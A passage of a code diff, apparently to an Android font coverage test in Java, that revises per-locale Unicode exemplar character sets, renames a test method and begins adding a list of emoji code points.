+ + "{e\u1DC7}{i\u1DC6}{i\u1DC7}{o\u1DC6}{o\u1DC7}{u\u1DC6}{u\u1DC7}{\u0186\u0302}"
+ + "{\u0186\u0304}{\u0186\u030C}{\u0186\u1DC6}{\u0186\u1DC7}{\u0190\u0302}"
+ + "{\u0190\u0304}{\u0190\u030C}{\u0190\u1DC6}{\u0190\u1DC7}{\u0254\u0302}"
+ + "{\u0254\u0304}{\u0254\u030C}{\u0254\u1DC6}{\u0254\u1DC7}{\u025B\u0302}"
+ + "{\u025B\u0304}{\u025B\u030C}{\u025B\u1DC6}{\u025B\u1DC7}]"));
+ EXEMPLAR_MAP.put("bg", new UnicodeSet("[\u2116]"));
EXEMPLAR_MAP.put("bn", new UnicodeSet("[\u0981-\u0983\u0985-\u098C\u098F\u0990"
+ "\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8"
+ "\u09CB-\u09CE\u09D7\u09E0-\u09E3\u09E6-\u09FA{\u0995\u09CD\u09B7}{\u09A1\u09BC}"
@@ -122,23 +132,22 @@
+ "{\u0F4C\u0FB7}{\u0F51\u0FB7}{\u0F56\u0FB7}{\u0F5B\u0FB7}{\u0F71\u0F72}"
+ "{\u0F71\u0F74}{\u0F71\u0F80}{\u0F90\u0FB5}{\u0F92\u0FB7}{\u0F9C\u0FB7}"
+ "{\u0FA1\u0FB7}{\u0FA6\u0FB7}{\u0FAB\u0FB7}{\u0FB2\u0F80}{\u0FB3\u0F80}]"));
- EXEMPLAR_MAP.put("br", new UnicodeSet("[{c\u02BCh}]"));
+ EXEMPLAR_MAP.put("br", new UnicodeSet("[{C\u02BCH}{C\u02BCh}{c\u02BCh}]"));
EXEMPLAR_MAP.put("brx", new UnicodeSet("[\u0901\u0902\u0905-\u090A\u090D\u090F-\u0911"
+ "\u0913-\u0918\u091A-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C"
+ "\u093E-\u0943\u0945\u0947-\u0949\u094B-\u094D{\u0921\u093C}]"));
- EXEMPLAR_MAP.put("chr", new UnicodeSet("[\u13A0\u13A6\u13AD\u13B3\u13B9\u13BE\u13C6\u13CC"
- + "\u13D3\u13DC\u13E3\u13E9\u13EF\u13F8-\u13FC\uAB70-\uABBF]"));
+ EXEMPLAR_MAP.put("chr", new UnicodeSet("[\u13A0-\u13F4\u13F8-\u13FC\uAB70-\uABBF]"));
EXEMPLAR_MAP.put("dz", new UnicodeSet("[\u0F04-\u0F06\u0F08-\u0F0A\u0F0C-\u0F12\u0F14"
+ "\u0F20-\u0F29\u0F34\u0F36\u0F3C\u0F3D\u0F40-\u0F42\u0F44-\u0F47\u0F49-\u0F4C"
+ "\u0F4E-\u0F51\u0F53-\u0F56\u0F58-\u0F5B\u0F5D-\u0F68\u0F72\u0F74\u0F7A-\u0F7E"
+ "\u0F80\u0F84\u0F90-\u0F92\u0F94\u0F97\u0F99-\u0F9C\u0F9E-\u0FA1\u0FA3-\u0FA6"
+ "\u0FA8-\u0FAB\u0FAD\u0FB1-\u0FB3\u0FB5-\u0FB7\u0FBA-\u0FBC\u0FBE\u0FBF"
+ "\u0FD0-\u0FD4]"));
- EXEMPLAR_MAP.put("ee", new UnicodeSet("[{\u0254\u0300}{\u0254\u0303}{\u025B\u0300}"
+ EXEMPLAR_MAP.put("ee", new UnicodeSet("[{\u0186\u0303}{\u0190\u0303}{\u0254\u0303}"
+ "{\u025B\u0303}]"));
- EXEMPLAR_MAP.put("ewo", new UnicodeSet("[{\u0254\u0300}{\u0254\u0302}{\u0254\u030C}"
- + "{\u0259\u0300}{\u0259\u0302}{\u0259\u030C}{\u025B\u0300}{\u025B\u0302}"
- + "{\u025B\u030C}]"));
+ EXEMPLAR_MAP.put("ewo", new UnicodeSet("[{\u0186\u0302}{\u0186\u030C}{\u018F\u0302}"
+ + "{\u018F\u030C}{\u0190\u0302}{\u0190\u030C}{\u0254\u0302}{\u0254\u030C}"
+ + "{\u0259\u0302}{\u0259\u030C}{\u025B\u0302}{\u025B\u030C}]"));
EXEMPLAR_MAP.put("fa-AF", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+ "\u0654\u0656\u066A-\u066C\u0670\u067C\u067E\u0681\u0685\u0686\u0689\u0693\u0696"
+ "\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06CC\u06F0-\u06F9\u2039\u203A]"));
@@ -149,20 +158,21 @@
+ "\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9"
+ "\u0ACB-\u0ACD\u0AD0\u0AE0\u0AF0{\u0A85\u0A82}{\u0A85\u0A83}"
+ "{\u0A95\u0ACD\u0AB7}{\u0A9C\u0ACD\u0A9E}{\u0AA4\u0ACD\u0AB0}]"));
- EXEMPLAR_MAP.put("ha", new UnicodeSet("[\u02BC{r\u0303}{\u02BCY}{\u02BCy}]"));
+ EXEMPLAR_MAP.put("ha", new UnicodeSet("[\u02BC{R\u0303}{r\u0303}{\u02BCY}{\u02BCy}]"));
EXEMPLAR_MAP.put("haw", new UnicodeSet("[\u02BB]"));
- EXEMPLAR_MAP.put("iw", new UnicodeSet("[\u05B0-\u05B9\u05BB-\u05BF\u05C1\u05C2\u05C4"
+ EXEMPLAR_MAP.put("he", new UnicodeSet("[\u05B0-\u05B9\u05BB-\u05BF\u05C1\u05C2\u05C4"
+ "\u05D0-\u05EA\u05F3\u05F4]"));
EXEMPLAR_MAP.put("hi", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
+ "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
+ "\u094B-\u094D\u0950\u0970]"));
EXEMPLAR_MAP.put("hu", new UnicodeSet("[\u2052\u27E8\u27E9]"));
- EXEMPLAR_MAP.put("hy", new UnicodeSet("[\u055A-\u055F\u0561-\u0587\u058A]"));
+ EXEMPLAR_MAP.put("hy", new UnicodeSet("[\u0531-\u0556\u055A-\u055F\u0561-\u0587\u058A]"));
EXEMPLAR_MAP.put("ii", new UnicodeSet("[\uA000-\uA48C]"));
- EXEMPLAR_MAP.put("jgo", new UnicodeSet("[\u2039\u203A{m\u0300}{m\u0304}{n\u0304}"
- + "{\u014B\u0300}{\u014B\u0304}{\u0244\u0308}{\u0254\u0302}{\u0254\u030C}"
- + "{\u025B\u0300}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}{\u0289\u0302}"
- + "{\u0289\u0308}{\u0289\u030C}]"));
+ EXEMPLAR_MAP.put("jgo", new UnicodeSet("[\u2039\u203A{M\u0304}{N\u0304}{m\u0304}{n\u0304}"
+ + "{\u014A\u0304}{\u014B\u0304}{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+ + "{\u0190\u0304}{\u0190\u030C}{\u0244\u0302}{\u0244\u030C}{\u0254\u0302}"
+ + "{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}{\u0289\u0302}"
+ + "{\u0289\u030C}]"));
EXEMPLAR_MAP.put("ja", new UnicodeSet("[\u2015\u2016\u2025\u2030\u203B\u203E\u3001-\u3003"
+ "\u3005\u3008-\u3011\u3014\u3015\u301C\u3041-\u3093\u309D\u309E\u30A1-\u30F6"
+ "\u30FB-\u30FE\u4E00\u4E01\u4E03\u4E07-\u4E0B\u4E0D\u4E0E\u4E11\u4E14\u4E16\u4E18"
@@ -355,11 +365,10 @@
+ "\u9CEF\u9CF4\u9D8F\u9E7F\u9E97\u9EA6\u9EBB\u9EC4\u9ED2\u9ED9"
+ "\u9F13\u9F20\u9F3B\u9F62\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F"
+ "\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF61-\uFF65]"));
- EXEMPLAR_MAP.put("ka", new UnicodeSet("[\u10D0-\u10FB\u2116\u2D00-\u2D25]"));
- EXEMPLAR_MAP.put("kea", new UnicodeSet("[{n\u0308}]"));
- EXEMPLAR_MAP.put("kkj", new UnicodeSet("[\u2039\u203A{I\u0327}{U\u0327}{a\u0327}{i\u0327}"
- + "{u\u0327}{\u0186\u0327}{\u0254\u0300}{\u0254\u0302}{\u0254\u0327}{\u025B\u0300}"
- + "{\u025B\u0302}{\u025B\u0327}]"));
+ EXEMPLAR_MAP.put("ka", new UnicodeSet("[\u10A0-\u10C5\u10D0-\u10FB\u2116\u2D00-\u2D25]"));
+ EXEMPLAR_MAP.put("kkj", new UnicodeSet("[\u2039\u203A{A\u0327}{I\u0327}{U\u0327}{a\u0327}"
+ + "{i\u0327}{u\u0327}{\u0186\u0302}{\u0186\u0327}{\u0190\u0302}{\u0190\u0327}"
+ + "{\u0254\u0302}{\u0254\u0327}{\u025B\u0302}{\u025B\u0327}]"));
EXEMPLAR_MAP.put("km", new UnicodeSet("[\u1780-\u17A2\u17A5-\u17A7\u17A9-\u17B3"
+ "\u17B6-\u17D2\u17D4-\u17D6\u17D9\u17DA\u200B{\u17A2\u17B6}{\u17A7\u1780}]"));
EXEMPLAR_MAP.put("kn", new UnicodeSet("[\u0C82\u0C83\u0C85-\u0C8C\u0C8E-\u0C90"
@@ -453,19 +462,19 @@
EXEMPLAR_MAP.put("ksh", new UnicodeSet("[\u2E17]"));
EXEMPLAR_MAP.put("lkt", new UnicodeSet("[\u02BC{k\u02BC}{p\u02BC}{s\u02BC}{t\u02BC}"
+ "{\u010D\u02BC}{\u0161\u02BC}{\u021F\u02BC}]"));
- EXEMPLAR_MAP.put("ln", new UnicodeSet("[{\u0254\u0302}{\u0254\u030C}{\u025B\u0302}"
- + "{\u025B\u030C}]"));
+ EXEMPLAR_MAP.put("ln", new UnicodeSet("[{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+ + "{\u0190\u030C}{\u0254\u0302}{\u0254\u030C}{\u025B\u0302}{\u025B\u030C}]"));
EXEMPLAR_MAP.put("lo", new UnicodeSet("[\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D"
+ "\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9"
+ "\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC\u0EDD\u200B"
+ "{\u0EAB\u0E87}{\u0EAB\u0E8D}{\u0EAB\u0E99}{\u0EAB\u0EA1}{\u0EAB\u0EA5}"
+ "{\u0EAB\u0EA7}]"));
- EXEMPLAR_MAP.put("lt", new UnicodeSet("[{i\u0307\u0300}{i\u0307\u0301}"
- + "{i\u0307\u0303}{j\u0303}{j\u0307\u0303}{l\u0303}{m\u0303}{r\u0303}{\u0105\u0303}"
- + "{\u0117\u0303}{\u0119\u0303}{\u012F\u0303}{\u012F\u0307\u0301}"
- + "{\u012F\u0307\u0303}{\u016B\u0303}{\u0173\u0303}]"));
- EXEMPLAR_MAP.put("lu", new UnicodeSet("[{\u0254\u0300}{\u025B\u0300}]"));
- EXEMPLAR_MAP.put("mgo", new UnicodeSet("[\u02BC{\u0254\u0300}{\u0259\u0300}]"));
+ EXEMPLAR_MAP.put("lt", new UnicodeSet("[{I\u0303}{I\u0307\u0303}{J\u0303}{J\u0307\u0303}"
+ + "{L\u0303}{M\u0303}{R\u0303}{i\u0307\u0303}{j\u0303}{j\u0307\u0303}{l\u0303}"
+ + "{m\u0303}{r\u0303}{\u0104\u0303}{\u0105\u0303}{\u0116\u0303}{\u0117\u0303}"
+ + "{\u0118\u0303}{\u0119\u0303}{\u012E\u0303}{\u012E\u0307\u0303}{\u012F\u0303}"
+ + "{\u012F\u0307\u0303}{\u016A\u0303}{\u016B\u0303}{\u0172\u0303}{\u0173\u0303}]"));
+ EXEMPLAR_MAP.put("mgo", new UnicodeSet("[\u02BC]"));
EXEMPLAR_MAP.put("ml", new UnicodeSet("[\u0D02\u0D03\u0D05-\u0D0C\u0D0E-\u0D10"
+ "\u0D12-\u0D28\u0D2A-\u0D39\u0D3E-\u0D43\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D60"
+ "\u0D61\u0D7A-\u0D7F]"));
@@ -479,14 +488,16 @@
EXEMPLAR_MAP.put("ne", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
+ "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
+ "\u094B-\u094D\u0950\u0966-\u096F]"));
- EXEMPLAR_MAP.put("nmg", new UnicodeSet("[{\u01DD\u0302}{\u01DD\u0304}{\u01DD\u030C}"
- + "{\u0254\u0302}{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}"
- + "{\u025B\u030C}]"));
- EXEMPLAR_MAP.put("nnh", new UnicodeSet("[\u02BC{\u0254\u0300}{\u0254\u0302}{\u0254\u030C}"
- + "{\u025B\u0300}{\u025B\u0302}{\u025B\u030C}{\u0289\u0300}{\u0289\u0302}"
- + "{\u0289\u030C}]"));
- EXEMPLAR_MAP.put("nus", new UnicodeSet("[{a\u0331}{e\u0331}{i\u0331}{o\u0331}"
- + "{\u0254\u0308}{\u0254\u0331}{\u025B\u0308}{\u025B\u0331}{\u025B\u0331\u0308}]"));
+ EXEMPLAR_MAP.put("nmg", new UnicodeSet("[{\u0186\u0302}{\u0186\u0304}{\u0186\u030C}"
+ + "{\u018E\u0302}{\u018E\u0304}{\u018E\u030C}{\u0190\u0302}{\u0190\u0304}"
+ + "{\u0190\u030C}{\u01DD\u0302}{\u01DD\u0304}{\u01DD\u030C}{\u0254\u0302}"
+ + "{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}]"));
+ EXEMPLAR_MAP.put("nnh", new UnicodeSet("[\u02BC{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+ + "{\u0190\u030C}{\u0244\u0302}{\u0244\u030C}{\u0254\u0302}{\u0254\u030C}"
+ + "{\u025B\u0302}{\u025B\u030C}{\u0289\u0302}{\u0289\u030C}]"));
+ EXEMPLAR_MAP.put("nus", new UnicodeSet("[{A\u0331}{E\u0331}{I\u0331}{O\u0331}{a\u0331}"
+ + "{e\u0331}{i\u0331}{o\u0331}{\u0186\u0331}{\u0190\u0331}{\u0190\u0331\u0308}"
+ + "{\u0254\u0331}{\u025B\u0331}{\u025B\u0331\u0308}]"));
EXEMPLAR_MAP.put("or", new UnicodeSet("[\u0B01-\u0B03\u0B05-\u0B0B\u0B0F\u0B10"
+ "\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C\u0B3E-\u0B43\u0B47"
+ "\u0B48\u0B4B-\u0B4D\u0B5F\u0B71{\u0B15\u0B4D\u0B37}{\u0B21\u0B3C}"
@@ -502,7 +513,8 @@
+ "\u0644-\u0648\u064A-\u0652\u0654\u066A-\u066C\u0670\u067C\u067E\u0681\u0685"
+ "\u0686\u0689\u0693\u0696\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06CC\u06CD\u06D0"
+ "\u06F0-\u06F9]"));
- EXEMPLAR_MAP.put("qu", new UnicodeSet("[{ch\u02BC}{k\u02BC}{p\u02BC}{q\u02BC}{t\u02BC}]"));
+ EXEMPLAR_MAP.put("qu", new UnicodeSet("[{CH\u02BC}{Ch\u02BC}{K\u02BC}{P\u02BC}{Q\u02BC}"
+ + "{T\u02BC}{ch\u02BC}{k\u02BC}{p\u02BC}{q\u02BC}{t\u02BC}]"));
EXEMPLAR_MAP.put("si", new UnicodeSet("[\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1"
+ "\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DF2"
+ "\u0DF3\u200B-\u200D]"));
@@ -536,7 +548,6 @@
+ "\u0686\u0689\u0693\u0696\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06C7\u06C9\u06CC"
+ "\u06CD\u06D0\u06F0-\u06F9]"));
EXEMPLAR_MAP.put("uz-Latn", new UnicodeSet("[\u02BC{G\u02BB}{O\u02BB}{g\u02BB}{o\u02BB}]"));
- EXEMPLAR_MAP.put("yav", new UnicodeSet("[{\u0254\u0300}{\u025B\u0300}]"));
EXEMPLAR_MAP.put("yue", new UnicodeSet("[\u2025\u2027\u2030\u2035\u203B\u203E"
+ "\u3001-\u3003\u3008-\u3011\u3014\u3015\u301D\u301E\u4E00\u4E01\u4E03"
+ "\u4E08-\u4E0D\u4E11\u4E14\u4E16\u4E18\u4E19\u4E1E\u4E1F\u4E26\u4E2D\u4E32\u4E38"
@@ -752,7 +763,6 @@
+ "\uFE30-\uFE44\uFE49-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B"
+ "\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20"
+ "\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D]"));
- EXEMPLAR_MAP.put("yo", new UnicodeSet("[{\u0254\u0300}{\u025B\u0300}]"));
EXEMPLAR_MAP.put("zgh", new UnicodeSet("[\u2D30\u2D31\u2D33\u2D37\u2D39\u2D3B-\u2D3D"
+ "\u2D40\u2D43-\u2D45\u2D47\u2D49\u2D4A\u2D4D-\u2D4F\u2D53-\u2D56\u2D59-\u2D5C"
+ "\u2D5F\u2D61-\u2D63\u2D65{\u2D33\u2D6F}{\u2D3D\u2D6F}]"));
@@ -1206,7 +1216,7 @@
}
@Test
- public void testCoverage() {
+ public void testLanguageCoverage() {
final Paint paint = new Paint();
final String[] localeNames = Resources.getSystem().getStringArray(
Resources.getSystem().getIdentifier("supported_locales", "array", "android"));
@@ -1230,4 +1240,1199 @@
});
}
}
+
+ // All emoji characters in Unicode 10.0/Emoji 5.0
+ private static final int[] ALL_EMOJI = {
+ 0x0023, // NUMBER SIGN
+ 0x002A, // ASTERISK
+ 0x0030, // DIGIT ZERO
+ 0x0031, // DIGIT ONE
+ 0x0032, // DIGIT TWO
+ 0x0033, // DIGIT THREE
+ 0x0034, // DIGIT FOUR
+ 0x0035, // DIGIT FIVE
+ 0x0036, // DIGIT SIX
+ 0x0037, // DIGIT SEVEN
+ 0x0038, // DIGIT EIGHT
+ 0x0039, // DIGIT NINE
+ 0x00A9, // COPYRIGHT SIGN
+ 0x00AE, // REGISTERED SIGN
+ 0x203C, // DOUBLE EXCLAMATION MARK
+ 0x2049, // EXCLAMATION QUESTION MARK
+ 0x2122, // TRADE MARK SIGN
+ 0x2139, // INFORMATION SOURCE
+ 0x2194, // LEFT RIGHT ARROW
+ 0x2195, // UP DOWN ARROW
+ 0x2196, // NORTH WEST ARROW
+ 0x2197, // NORTH EAST ARROW
+ 0x2198, // SOUTH EAST ARROW
+ 0x2199, // SOUTH WEST ARROW
+ 0x21A9, // LEFTWARDS ARROW WITH HOOK
+ 0x21AA, // RIGHTWARDS ARROW WITH HOOK
+ 0x231A, // WATCH
+ 0x231B, // HOURGLASS
+ 0x2328, // KEYBOARD
+ 0x23CF, // EJECT SYMBOL
+ 0x23E9, // BLACK RIGHT-POINTING DOUBLE TRIANGLE
+ 0x23EA, // BLACK LEFT-POINTING DOUBLE TRIANGLE
+ 0x23EB, // BLACK UP-POINTING DOUBLE TRIANGLE
+ 0x23EC, // BLACK DOWN-POINTING DOUBLE TRIANGLE
+ 0x23ED, // BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+ 0x23EE, // BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR
+ 0x23EF, // BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR
+ 0x23F0, // ALARM CLOCK
+ 0x23F1, // STOPWATCH
+ 0x23F2, // TIMER CLOCK
+ 0x23F3, // HOURGLASS WITH FLOWING SAND
+ 0x23F8, // DOUBLE VERTICAL BAR
+ 0x23F9, // BLACK SQUARE FOR STOP
+ 0x23FA, // BLACK CIRCLE FOR RECORD
+ 0x24C2, // CIRCLED LATIN CAPITAL LETTER M
+ 0x25AA, // BLACK SMALL SQUARE
+ 0x25AB, // WHITE SMALL SQUARE
+ 0x25B6, // BLACK RIGHT-POINTING TRIANGLE
+ 0x25C0, // BLACK LEFT-POINTING TRIANGLE
+ 0x25FB, // WHITE MEDIUM SQUARE
+ 0x25FC, // BLACK MEDIUM SQUARE
+ 0x25FD, // WHITE MEDIUM SMALL SQUARE
+ 0x25FE, // BLACK MEDIUM SMALL SQUARE
+ 0x2600, // BLACK SUN WITH RAYS
+ 0x2601, // CLOUD
+ 0x2602, // UMBRELLA
+ 0x2603, // SNOWMAN
+ 0x2604, // COMET
+ 0x260E, // BLACK TELEPHONE
+ 0x2611, // BALLOT BOX WITH CHECK
+ 0x2614, // UMBRELLA WITH RAIN DROPS
+ 0x2615, // HOT BEVERAGE
+ 0x2618, // SHAMROCK
+ 0x261D, // WHITE UP POINTING INDEX
+ 0x2620, // SKULL AND CROSSBONES
+ 0x2622, // RADIOACTIVE SIGN
+ 0x2623, // BIOHAZARD SIGN
+ 0x2626, // ORTHODOX CROSS
+ 0x262A, // STAR AND CRESCENT
+ 0x262E, // PEACE SYMBOL
+ 0x262F, // YIN YANG
+ 0x2638, // WHEEL OF DHARMA
+ 0x2639, // WHITE FROWNING FACE
+ 0x263A, // WHITE SMILING FACE
+ 0x2640, // FEMALE SIGN
+ 0x2642, // MALE SIGN
+ 0x2648, // ARIES
+ 0x2649, // TAURUS
+ 0x264A, // GEMINI
+ 0x264B, // CANCER
+ 0x264C, // LEO
+ 0x264D, // VIRGO
+ 0x264E, // LIBRA
+ 0x264F, // SCORPIUS
+ 0x2650, // SAGITTARIUS
+ 0x2651, // CAPRICORN
+ 0x2652, // AQUARIUS
+ 0x2653, // PISCES
+ 0x2660, // BLACK SPADE SUIT
+ 0x2663, // BLACK CLUB SUIT
+ 0x2665, // BLACK HEART SUIT
+ 0x2666, // BLACK DIAMOND SUIT
+ 0x2668, // HOT SPRINGS
+ 0x267B, // BLACK UNIVERSAL RECYCLING SYMBOL
+ 0x267F, // WHEELCHAIR SYMBOL
+ 0x2692, // HAMMER AND PICK
+ 0x2693, // ANCHOR
+ 0x2694, // CROSSED SWORDS
+ 0x2695, // STAFF OF AESCULAPIUS
+ 0x2696, // SCALES
+ 0x2697, // ALEMBIC
+ 0x2699, // GEAR
+ 0x269B, // ATOM SYMBOL
+ 0x269C, // FLEUR-DE-LIS
+ 0x26A0, // WARNING SIGN
+ 0x26A1, // HIGH VOLTAGE SIGN
+ 0x26AA, // MEDIUM WHITE CIRCLE
+ 0x26AB, // MEDIUM BLACK CIRCLE
+ 0x26B0, // COFFIN
+ 0x26B1, // FUNERAL URN
+ 0x26BD, // SOCCER BALL
+ 0x26BE, // BASEBALL
+ 0x26C4, // SNOWMAN WITHOUT SNOW
+ 0x26C5, // SUN BEHIND CLOUD
+ 0x26C8, // THUNDER CLOUD AND RAIN
+ 0x26CE, // OPHIUCHUS
+ 0x26CF, // PICK
+ 0x26D1, // HELMET WITH WHITE CROSS
+ 0x26D3, // CHAINS
+ 0x26D4, // NO ENTRY
+ 0x26E9, // SHINTO SHRINE
+ 0x26EA, // CHURCH
+ 0x26F0, // MOUNTAIN
+ 0x26F1, // UMBRELLA ON GROUND
+ 0x26F2, // FOUNTAIN
+ 0x26F3, // FLAG IN HOLE
+ 0x26F4, // FERRY
+ 0x26F5, // SAILBOAT
+ 0x26F7, // SKIER
+ 0x26F8, // ICE SKATE
+ 0x26F9, // PERSON WITH BALL
+ 0x26FA, // TENT
+ 0x26FD, // FUEL PUMP
+ 0x2702, // BLACK SCISSORS
+ 0x2705, // WHITE HEAVY CHECK MARK
+ 0x2708, // AIRPLANE
+ 0x2709, // ENVELOPE
+ 0x270A, // RAISED FIST
+ 0x270B, // RAISED HAND
+ 0x270C, // VICTORY HAND
+ 0x270D, // WRITING HAND
+ 0x270F, // PENCIL
+ 0x2712, // BLACK NIB
+ 0x2714, // HEAVY CHECK MARK
+ 0x2716, // HEAVY MULTIPLICATION X
+ 0x271D, // LATIN CROSS
+ 0x2721, // STAR OF DAVID
+ 0x2728, // SPARKLES
+ 0x2733, // EIGHT SPOKED ASTERISK
+ 0x2734, // EIGHT POINTED BLACK STAR
+ 0x2744, // SNOWFLAKE
+ 0x2747, // SPARKLE
+ 0x274C, // CROSS MARK
+ 0x274E, // NEGATIVE SQUARED CROSS MARK
+ 0x2753, // BLACK QUESTION MARK ORNAMENT
+ 0x2754, // WHITE QUESTION MARK ORNAMENT
+ 0x2755, // WHITE EXCLAMATION MARK ORNAMENT
+ 0x2757, // HEAVY EXCLAMATION MARK SYMBOL
+ 0x2763, // HEAVY HEART EXCLAMATION MARK ORNAMENT
+ 0x2764, // HEAVY BLACK HEART
+ 0x2795, // HEAVY PLUS SIGN
+ 0x2796, // HEAVY MINUS SIGN
+ 0x2797, // HEAVY DIVISION SIGN
+ 0x27A1, // BLACK RIGHTWARDS ARROW
+ 0x27B0, // CURLY LOOP
+ 0x27BF, // DOUBLE CURLY LOOP
+ 0x2934, // ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
+ 0x2935, // ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
+ 0x2B05, // LEFTWARDS BLACK ARROW
+ 0x2B06, // UPWARDS BLACK ARROW
+ 0x2B07, // DOWNWARDS BLACK ARROW
+ 0x2B1B, // BLACK LARGE SQUARE
+ 0x2B1C, // WHITE LARGE SQUARE
+ 0x2B50, // WHITE MEDIUM STAR
+ 0x2B55, // HEAVY LARGE CIRCLE
+ 0x3030, // WAVY DASH
+ 0x303D, // PART ALTERNATION MARK
+ 0x3297, // CIRCLED IDEOGRAPH CONGRATULATION
+ 0x3299, // CIRCLED IDEOGRAPH SECRET
+ 0x1F004, // MAHJONG TILE RED DRAGON
+ 0x1F0CF, // PLAYING CARD BLACK JOKER
+ 0x1F170, // NEGATIVE SQUARED LATIN CAPITAL LETTER A
+ 0x1F171, // NEGATIVE SQUARED LATIN CAPITAL LETTER B
+ 0x1F17E, // NEGATIVE SQUARED LATIN CAPITAL LETTER O
+ 0x1F17F, // NEGATIVE SQUARED LATIN CAPITAL LETTER P
+ 0x1F18E, // NEGATIVE SQUARED AB
+ 0x1F191, // SQUARED CL
+ 0x1F192, // SQUARED COOL
+ 0x1F193, // SQUARED FREE
+ 0x1F194, // SQUARED ID
+ 0x1F195, // SQUARED NEW
+ 0x1F196, // SQUARED NG
+ 0x1F197, // SQUARED OK
+ 0x1F198, // SQUARED SOS
+ 0x1F199, // SQUARED UP WITH EXCLAMATION MARK
+ 0x1F19A, // SQUARED VS
+ 0x1F1E6, // REGIONAL INDICATOR SYMBOL LETTER A
+ 0x1F1E7, // REGIONAL INDICATOR SYMBOL LETTER B
+ 0x1F1E8, // REGIONAL INDICATOR SYMBOL LETTER C
+ 0x1F1E9, // REGIONAL INDICATOR SYMBOL LETTER D
+ 0x1F1EA, // REGIONAL INDICATOR SYMBOL LETTER E
+ 0x1F1EB, // REGIONAL INDICATOR SYMBOL LETTER F
+ 0x1F1EC, // REGIONAL INDICATOR SYMBOL LETTER G
+ 0x1F1ED, // REGIONAL INDICATOR SYMBOL LETTER H
+ 0x1F1EE, // REGIONAL INDICATOR SYMBOL LETTER I
+ 0x1F1EF, // REGIONAL INDICATOR SYMBOL LETTER J
+ 0x1F1F0, // REGIONAL INDICATOR SYMBOL LETTER K
+ 0x1F1F1, // REGIONAL INDICATOR SYMBOL LETTER L
+ 0x1F1F2, // REGIONAL INDICATOR SYMBOL LETTER M
+ 0x1F1F3, // REGIONAL INDICATOR SYMBOL LETTER N
+ 0x1F1F4, // REGIONAL INDICATOR SYMBOL LETTER O
+ 0x1F1F5, // REGIONAL INDICATOR SYMBOL LETTER P
+ 0x1F1F6, // REGIONAL INDICATOR SYMBOL LETTER Q
+ 0x1F1F7, // REGIONAL INDICATOR SYMBOL LETTER R
+ 0x1F1F8, // REGIONAL INDICATOR SYMBOL LETTER S
+ 0x1F1F9, // REGIONAL INDICATOR SYMBOL LETTER T
+ 0x1F1FA, // REGIONAL INDICATOR SYMBOL LETTER U
+ 0x1F1FB, // REGIONAL INDICATOR SYMBOL LETTER V
+ 0x1F1FC, // REGIONAL INDICATOR SYMBOL LETTER W
+ 0x1F1FD, // REGIONAL INDICATOR SYMBOL LETTER X
+ 0x1F1FE, // REGIONAL INDICATOR SYMBOL LETTER Y
+ 0x1F1FF, // REGIONAL INDICATOR SYMBOL LETTER Z
+ 0x1F201, // SQUARED KATAKANA KOKO
+ 0x1F202, // SQUARED KATAKANA SA
+ 0x1F21A, // SQUARED CJK UNIFIED IDEOGRAPH-7121
+ 0x1F22F, // SQUARED CJK UNIFIED IDEOGRAPH-6307
+ 0x1F232, // SQUARED CJK UNIFIED IDEOGRAPH-7981
+ 0x1F233, // SQUARED CJK UNIFIED IDEOGRAPH-7A7A
+ 0x1F234, // SQUARED CJK UNIFIED IDEOGRAPH-5408
+ 0x1F235, // SQUARED CJK UNIFIED IDEOGRAPH-6E80
+ 0x1F236, // SQUARED CJK UNIFIED IDEOGRAPH-6709
+ 0x1F237, // SQUARED CJK UNIFIED IDEOGRAPH-6708
+ 0x1F238, // SQUARED CJK UNIFIED IDEOGRAPH-7533
+ 0x1F239, // SQUARED CJK UNIFIED IDEOGRAPH-5272
+ 0x1F23A, // SQUARED CJK UNIFIED IDEOGRAPH-55B6
+ 0x1F250, // CIRCLED IDEOGRAPH ADVANTAGE
